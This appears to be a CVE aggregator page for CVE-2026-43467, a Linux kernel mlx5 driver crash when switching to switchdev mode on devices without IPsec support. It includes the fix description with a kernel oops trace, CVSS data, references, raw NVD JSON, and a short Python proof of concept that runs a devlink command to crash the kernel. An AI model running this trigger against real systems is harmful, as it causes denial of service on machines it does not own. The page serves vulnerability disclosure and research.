CVE-2026-43467

Description

In the Linux kernel, the following vulnerability has been resolved: net/mlx5: Fix crash when moving to switchdev mode When moving to switchdev mode when the device doesn't support IPsec, we try to clean up the IPsec resources anyway which causes the crash below, fix that by correctly checking for IPsec support before trying to clean up its resources. [27642.515799] WARNING: arch/x86/mm/fault.c:1276 at do_user_addr_fault+0x18a/0x680, CPU#4: devlink/6490 [27642.517159] Modules linked in: xt_conntrack xt_MASQUERADE ip6table_nat ip6table_filter ip6_tables iptable_nat nf_nat xt_addrtype rpcsec_gss_krb5 auth_rpcgss oid_registry overlay mlx5_fwctl nfnetlink zram zsmalloc mlx5_ib fuse rpcrdma rdma_ucm ib_uverbs ib_iser libiscsi scsi_transport_iscsi ib_umad rdma_cm ib_ipoib iw_cm ib_cm mlx5_core ib_core [27642.521358] CPU: 4 UID: 0 PID: 6490 Comm: devlink Not tainted 6.19.0-rc5_for_upstream_min_debug_2026_01_14_16_47 #1 NONE [27642.522923] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014 [27642.524528] RIP: 0010:do_user_addr_fault+0x18a/0x680 [27642.525362] Code: ff 0f 84 75 03 00 00 48 89 ee 4c 89 e7 e8 5e b9 22 00 49 89 c0 48 85 c0 0f 84 a8 02 00 00 f7 c3 60 80 00 00 74 22 31 c9 eb ae <0f> 0b 48 83 c4 10 48 89 ea 48 89 de 4c 89 f7 5b 5d 41 5c 41 5d 41 [27642.528166] RSP: 0018:ffff88810770f6b8 EFLAGS: 00010046 [27642.529038] RAX: 0000000000000000 RBX: 0000000000000002 RCX: ffff88810b980f00 [27642.530158] RDX: 00000000000000a0 RSI: 0000000000000002 RDI: ffff88810770f728 [27642.531270] RBP: 00000000000000a0 R08: 0000000000000000 R09: 0000000000000000 [27642.532383] R10: 0000000000000000 R11: 0000000000000000 R12: ffff888103f3c4c0 [27642.533499] R13: 0000000000000000 R14: ffff88810770f728 R15: 0000000000000000 [27642.534614] FS: 00007f197c741740(0000) GS:ffff88856a94c000(0000) knlGS:0000000000000000 [27642.535915] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [27642.536858] CR2: 00000000000000a0 CR3: 000000011334c003 CR4: 0000000000172eb0 [27642.537982] Call Trace: [27642.538466] <TASK> [27642.538907] exc_page_fault+0x76/0x140 [27642.539583] asm_exc_page_fault+0x22/0x30 [27642.540282] RIP: 0010:_raw_spin_lock_irqsave+0x10/0x30 [27642.541134] Code: 07 85 c0 75 11 ba ff 00 00 00 f0 0f b1 17 75 06 b8 01 00 00 00 c3 31 c0 c3 90 0f 1f 44 00 00 53 9c 5b fa 31 c0 ba 01 00 00 00 <f0> 0f b1 17 75 05 48 89 d8 5b c3 89 c6 e8 7e 02 00 00 48 89 d8 5b [27642.543936] RSP: 0018:ffff88810770f7d8 EFLAGS: 00010046 [27642.544803] RAX: 0000000000000000 RBX: 0000000000000202 RCX: ffff888113ad96d8 [27642.545916] RDX: 0000000000000001 RSI: ffff88810770f818 RDI: 00000000000000a0 [27642.547027] RBP: 0000000000000098 R08: 0000000000000400 R09: ffff88810b980f00 [27642.548140] R10: 0000000000000001 R11: ffff888101845a80 R12: 00000000000000a8 [27642.549263] R13: ffffffffa02a9060 R14: 00000000000000a0 R15: ffff8881130d8a40 [27642.550379] complete_all+0x20/0x90 [27642.551010] mlx5e_ipsec_disable_events+0xb6/0xf0 [mlx5_core] [27642.552022] mlx5e_nic_disable+0x12d/0x220 [mlx5_core] [27642.552929] mlx5e_detach_netdev+0x66/0xf0 [mlx5_core] [27642.553822] mlx5e_netdev_change_profile+0x5b/0x120 [mlx5_core] [27642.554821] mlx5e_vport_rep_load+0x419/0x590 [mlx5_core] [27642.555757] ? xa_load+0x53/0x90 [27642.556361] __esw_offloads_load_rep+0x54/0x70 [mlx5_core] [27642.557328] mlx5_esw_offloads_rep_load+0x45/0xd0 [mlx5_core] [27642.558320] esw_offloads_enable+0xb4b/0xc90 [mlx5_core] [27642.559247] mlx5_eswitch_enable_locked+0x34e/0x4f0 [mlx5_core] [27642.560257] ? mlx5_rescan_drivers_locked+0x222/0x2d0 [mlx5_core] [27642.561284] mlx5_devlink_eswitch_mode_set+0x5ac/0x9c0 [mlx5_core] [27642.562334] ? devlink_rate_set_ops_supported+0x21/0x3a0 [27642.563220] devlink_nl_eswitch_set_doit+0x67/0xe0 [27642.564026] genl_family_rcv_msg_doit+0xe0/0x130 [27642.564816] genl_rcv_msg+0x183/0x290 [27642.565466] ? __devlink_nl_pre_doit.isra.0+0x160/0x160 [27642.566329] ? d ---truncated---

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:6.18:-:*:*:*:*:*:* - VULNERABLE

Linux Kernel < 6.19.0-rc5 (Specific commits fix this)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# PoC for CVE-2026-43467
# This script attempts to trigger the crash by switching to switchdev mode
# on a device that does not support IPsec.

import subprocess
import sys

def trigger_vulnerability(device_pci):
    try:
        # Command to switch eswitch mode to switchdev
        # This requires CAP_NET_ADMIN capability
        cmd = ["devlink", "dev", "eswitch", "set", device_pci, "mode", "switchdev"]
        print(f"[*] Executing: {' '.join(cmd)}")
        result = subprocess.run(cmd, capture_output=True, text=True)
        print(result.stdout)
        print(result.stderr)
        # If the system crashes here, the vulnerability is triggered
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    # Example PCI address, replace with actual vulnerable device
    # e.g., "pci/0000:03:00.0"
    if len(sys.argv) < 2:
        print("Usage: python3 poc.py <pci_device_address>")
        sys.exit(1)
    trigger_vulnerability(sys.argv[1])

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43467
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43467
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43467/
[4] VulDB https://vuldb.com/cve/CVE-2026-43467
[5] https://git.kernel.org/stable/c/05c9a6df3646cdd25e0e10e6ef2d20cdba3ed8f9
[6] https://git.kernel.org/stable/c/24b2795f9683e092dc22a68f487e7aaaf2ddafea
[7] https://git.kernel.org/stable/c/835778685f157b4fd4683b670cfe4010265bac60
[8] https://git.kernel.org/stable/c/bc72f739f398d9d2e4f3d06f3f75fe98876d5579

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43467", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T15:16:59.690", "lastModified": "2026-05-21T15:31:25.243", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/mlx5: Fix crash when moving to switchdev mode\n\nWhen moving to switchdev mode when the device doesn't support IPsec,\nwe try to clean up the IPsec resources anyway which causes the crash\nbelow, fix that by correctly checking for IPsec support before trying\nto clean up its resources.\n\n[27642.515799] WARNING: arch/x86/mm/fault.c:1276 at\ndo_user_addr_fault+0x18a/0x680, CPU#4: devlink/6490\n[27642.517159] Modules linked in: xt_conntrack xt_MASQUERADE\nip6table_nat ip6table_filter ip6_tables iptable_nat nf_nat xt_addrtype\nrpcsec_gss_krb5 auth_rpcgss oid_registry overlay mlx5_fwctl nfnetlink\nzram zsmalloc mlx5_ib fuse rpcrdma rdma_ucm ib_uverbs ib_iser libiscsi\nscsi_transport_iscsi ib_umad rdma_cm ib_ipoib iw_cm ib_cm mlx5_core\nib_core\n[27642.521358] CPU: 4 UID: 0 PID: 6490 Comm: devlink Not tainted\n6.19.0-rc5_for_upstream_min_debug_2026_01_14_16_47 #1 NONE\n[27642.522923] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS\nrel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014\n[27642.524528] RIP: 0010:do_user_addr_fault+0x18a/0x680\n[27642.525362] Code: ff 0f 84 75 03 00 00 48 89 ee 4c 89 e7 e8 5e b9 22\n00 49 89 c0 48 85 c0 0f 84 a8 02 00 00 f7 c3 60 80 00 00 74 22 31 c9 eb\n ae <0f> 0b 48 83 c4 10 48 89 ea 48 89 de 4c 89 f7 5b 5d 41 5c 41 5d\n41\n[27642.528166] RSP: 0018:ffff88810770f6b8 EFLAGS: 00010046\n[27642.529038] RAX: 0000000000000000 RBX: 0000000000000002 RCX:\nffff88810b980f00\n[27642.530158] RDX: 00000000000000a0 RSI: 0000000000000002 RDI:\nffff88810770f728\n[27642.531270] RBP: 00000000000000a0 R08: 0000000000000000 R09:\n0000000000000000\n[27642.532383] R10: 0000000000000000 R11: 0000000000000000 R12:\nffff888103f3c4c0\n[27642.533499] R13: 0000000000000000 R14: ffff88810770f728 R15:\n0000000000000000\n[27642.534614] FS: 00007f197c741740(0000) GS:ffff88856a94c000(0000)\nknlGS:0000000000000000\n[27642.535915] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[27642.536858] CR2: 00000000000000a0 CR3: 000000011334c003 CR4:\n0000000000172eb0\n[27642.537982] Call Trace:\n[27642.538466] <TASK>\n[27642.538907] exc_page_fault+0x76/0x140\n[27642.539583] asm_exc_page_fault+0x22/0x30\n[27642.540282] RIP: 0010:_raw_spin_lock_irqsave+0x10/0x30\n[27642.541134] Code: 07 85 c0 75 11 ba ff 00 00 00 f0 0f b1 17 75 06 b8\n01 00 00 00 c3 31 c0 c3 90 0f 1f 44 00 00 53 9c 5b fa 31 c0 ba 01 00 00\n 00 <f0> 0f b1 17 75 05 48 89 d8 5b c3 89 c6 e8 7e 02 00 00 48 89 d8\n 5b\n[27642.543936] RSP: 0018:ffff88810770f7d8 EFLAGS: 00010046\n[27642.544803] RAX: 0000000000000000 RBX: 0000000000000202 RCX:\nffff888113ad96d8\n[27642.545916] RDX: 0000000000000001 RSI: ffff88810770f818 RDI:\n00000000000000a0\n[27642.547027] RBP: 0000000000000098 R08: 0000000000000400 R09:\nffff88810b980f00\n[27642.548140] R10: 0000000000000001 R11: ffff888101845a80 R12:\n00000000000000a8\n[27642.549263] R13: ffffffffa02a9060 R14: 00000000000000a0 R15:\nffff8881130d8a40\n[27642.550379] complete_all+0x20/0x90\n[27642.551010] mlx5e_ipsec_disable_events+0xb6/0xf0 [mlx5_core]\n[27642.552022] mlx5e_nic_disable+0x12d/0x220 [mlx5_core]\n[27642.552929] mlx5e_detach_netdev+0x66/0xf0 [mlx5_core]\n[27642.553822] mlx5e_netdev_change_profile+0x5b/0x120 [mlx5_core]\n[27642.554821] mlx5e_vport_rep_load+0x419/0x590 [mlx5_core]\n[27642.555757] ? xa_load+0x53/0x90\n[27642.556361] __esw_offloads_load_rep+0x54/0x70 [mlx5_core]\n[27642.557328] mlx5_esw_offloads_rep_load+0x45/0xd0 [mlx5_core]\n[27642.558320] esw_offloads_enable+0xb4b/0xc90 [mlx5_core]\n[27642.559247] mlx5_eswitch_enable_locked+0x34e/0x4f0 [mlx5_core]\n[27642.560257] ? mlx5_rescan_drivers_locked+0x222/0x2d0 [mlx5_core]\n[27642.561284] mlx5_devlink_eswitch_mode_set+0x5ac/0x9c0 [mlx5_core]\n[27642.562334] ? devlink_rate_set_ops_supported+0x21/0x3a0\n[27642.563220] devlink_nl_eswitch_set_doit+0x67/0xe0\n[27642.564026] genl_family_rcv_msg_doit+0xe0/0x130\n[27642.564816] genl_rcv_msg+0x183/0x290\n[27642.565466] ? __devlink_nl_pre_doit.isra.0+0x160/0x160\n[27642.566329] ? d\n---truncated---"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR" ... (truncated)